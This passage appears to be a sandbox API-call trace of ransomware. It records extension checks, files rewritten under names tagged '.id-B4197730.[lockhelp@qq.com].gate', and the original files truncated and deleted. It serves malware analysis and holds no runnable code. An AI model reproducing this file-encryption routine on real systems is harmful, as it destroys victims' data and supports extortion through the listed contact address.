(lpString=".xlsx") returned 5 [0285.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0285.088] lstrlenW (lpString=".ppt") returned 4 [0285.088] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0285.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.088] lstrlenW (lpString=".zip") returned 4 [0285.088] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0285.088] lstrlenW (lpString=".rar") returned 4 [0285.089] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0285.089] lstrlenW (lpString=".bz2") returned 4 [0285.089] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0285.089] lstrlenW (lpString=".7z") returned 3 [0285.089] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0285.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.089] lstrlenW (lpString=".dbf") returned 4 [0285.089] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0285.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.089] lstrlenW (lpString=".1cd") returned 4 [0285.089] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0285.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.089] lstrlenW (lpString=".jpg") returned 4 [0285.089] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0285.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.089] lstrlenW (lpString=".doc") returned 4 [0285.089] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0285.089] lstrlenW (lpString=".docx") returned 5 [0285.089] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0285.089] lstrlenW (lpString=".pdf") returned 4 [0285.089] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0285.089] lstrlenW (lpString=".xls") returned 4 [0285.089] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0285.089] lstrlenW (lpString=".xlsx") returned 5 [0285.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0285.089] lstrlenW (lpString=".ppt") returned 4 [0285.089] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0285.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.090] lstrlenW (lpString=".zip") returned 4 [0285.090] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0285.090] lstrlenW (lpString=".rar") returned 4 [0285.090] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0285.090] lstrlenW (lpString=".bz2") returned 4 [0285.090] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0285.090] lstrlenW (lpString=".7z") returned 3 [0285.090] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0285.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.090] lstrlenW (lpString=".dbf") returned 4 [0285.090] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0285.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.090] lstrlenW (lpString=".1cd") returned 4 [0285.090] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0285.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.090] lstrlenW (lpString=".jpg") returned 4 [0285.090] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0285.090] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.090] lstrlenW (lpString="BD20013_.WMF") returned 12 [0285.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0285.091] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=11058) returned 1 [0285.091] CloseHandle (hObject=0x3d0) returned 1 [0285.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0285.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0285.092] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.092] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0285.092] GetLastError () returned 0x0 [0285.092] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x2b32, lpOverlapped=0x0) returned 1 [0285.335] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x2b40, lpOverlapped=0x0) returned 1 [0285.336] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.336] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0285.336] SetEndOfFile (hFile=0x394) returned 1 [0285.336] CloseHandle (hObject=0x394) returned 1 [0285.337] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.337] SetEndOfFile (hFile=0x3d0) returned 1 [0285.339] CloseHandle (hObject=0x3d0) returned 1 [0285.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0285.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.340] lstrlenW (lpString=".doc") returned 4 [0285.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.340] lstrlenW (lpString=".docx") returned 5 [0285.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.340] lstrlenW (lpString=".pdf") returned 4 [0285.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.340] lstrlenW (lpString=".xls") returned 4 [0285.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.340] lstrlenW (lpString=".xlsx") returned 5 [0285.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.341] lstrlenW (lpString=".ppt") returned 4 [0285.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.341] lstrlenW (lpString=".zip") returned 4 [0285.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.341] lstrlenW (lpString=".rar") returned 4 [0285.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.341] lstrlenW (lpString=".bz2") returned 4 [0285.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.341] lstrlenW (lpString=".7z") returned 3 [0285.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.341] lstrlenW (lpString=".dbf") returned 4 [0285.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.341] lstrlenW (lpString=".1cd") returned 4 [0285.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.341] lstrlenW (lpString=".jpg") returned 4 [0285.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.341] lstrlenW (lpString=".doc") returned 4 [0285.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.341] lstrlenW (lpString=".docx") returned 5 [0285.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.341] lstrlenW (lpString=".pdf") returned 4 [0285.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.341] lstrlenW (lpString=".xls") returned 4 [0285.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.341] lstrlenW (lpString=".xlsx") returned 5 [0285.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.342] lstrlenW (lpString=".ppt") returned 4 [0285.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.342] lstrlenW (lpString=".zip") returned 4 [0285.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.342] lstrlenW (lpString=".rar") returned 4 [0285.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.342] lstrlenW (lpString=".bz2") returned 4 [0285.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.342] lstrlenW (lpString=".7z") returned 3 [0285.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.342] lstrlenW (lpString=".dbf") returned 4 [0285.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.342] lstrlenW (lpString=".1cd") returned 4 [0285.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0285.342] lstrlenW (lpString=".jpg") returned 4 [0285.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.342] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.342] lstrlenW (lpString="BL00098_.WMF") returned 12 [0285.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0285.343] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1012) returned 1 [0285.343] CloseHandle (hObject=0x3d0) returned 1 [0285.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0285.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0285.343] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.343] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0285.344] GetLastError () returned 0x0 [0285.344] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x3f4, lpOverlapped=0x0) returned 1 [0285.469] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x400, lpOverlapped=0x0) returned 1 [0285.469] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.469] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0285.469] SetEndOfFile (hFile=0x394) returned 1 [0285.470] CloseHandle (hObject=0x394) returned 1 [0285.470] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.470] SetEndOfFile (hFile=0x3d0) returned 1 [0285.472] CloseHandle (hObject=0x3d0) returned 1 [0285.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0285.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.473] lstrlenW (lpString=".doc") returned 4 [0285.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.473] lstrlenW (lpString=".docx") returned 5 [0285.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.473] lstrlenW (lpString=".pdf") returned 4 [0285.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.473] lstrlenW (lpString=".xls") returned 4 [0285.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.473] lstrlenW (lpString=".xlsx") returned 5 [0285.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.473] lstrlenW (lpString=".ppt") returned 4 [0285.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.474] lstrlenW (lpString=".zip") returned 4 [0285.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.474] lstrlenW (lpString=".rar") returned 4 [0285.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.474] lstrlenW (lpString=".bz2") returned 4 [0285.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.474] lstrlenW (lpString=".7z") returned 3 [0285.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.474] lstrlenW (lpString=".dbf") returned 4 [0285.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.474] lstrlenW (lpString=".1cd") returned 4 [0285.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.474] lstrlenW (lpString=".jpg") returned 4 [0285.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.474] lstrlenW (lpString=".doc") returned 4 [0285.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.474] lstrlenW (lpString=".docx") returned 5 [0285.474] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.474] lstrlenW (lpString=".pdf") returned 4 [0285.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.474] lstrlenW (lpString=".xls") returned 4 [0285.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.474] lstrlenW (lpString=".xlsx") returned 5 [0285.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.475] lstrlenW (lpString=".ppt") returned 4 [0285.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.475] lstrlenW (lpString=".zip") returned 4 [0285.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.475] lstrlenW (lpString=".rar") returned 4 [0285.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.475] lstrlenW (lpString=".bz2") returned 4 [0285.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.475] lstrlenW (lpString=".7z") returned 3 [0285.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.475] lstrlenW (lpString=".dbf") returned 4 [0285.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.475] lstrlenW (lpString=".1cd") returned 4 [0285.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0285.475] lstrlenW (lpString=".jpg") returned 4 [0285.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.475] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.475] lstrlenW (lpString="BL00148_.WMF") returned 12 [0285.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0285.624] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1696) returned 1 [0285.624] CloseHandle (hObject=0x4b4) returned 1 [0285.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0285.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0285.625] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.625] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0285.626] GetLastError () returned 0x0 [0285.626] ReadFile (in: hFile=0x4b4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x6a0, lpOverlapped=0x0) returned 1 [0285.883] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x6b0, lpOverlapped=0x0) returned 1 [0285.884] ReadFile (in: hFile=0x4b4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.884] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0285.885] SetEndOfFile (hFile=0x404) returned 1 [0285.885] CloseHandle (hObject=0x404) returned 1 [0285.886] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.886] SetEndOfFile (hFile=0x4b4) returned 1 [0285.888] CloseHandle (hObject=0x4b4) returned 1 [0285.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0285.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.889] lstrlenW (lpString=".doc") returned 4 [0285.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.889] lstrlenW (lpString=".docx") returned 5 [0285.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.889] lstrlenW (lpString=".pdf") returned 4 [0285.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.889] lstrlenW (lpString=".xls") returned 4 [0285.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.889] lstrlenW (lpString=".xlsx") returned 5 [0285.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.889] lstrlenW (lpString=".ppt") returned 4 [0285.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0285.889] lstrlenW (lpString=".zip") returned 4 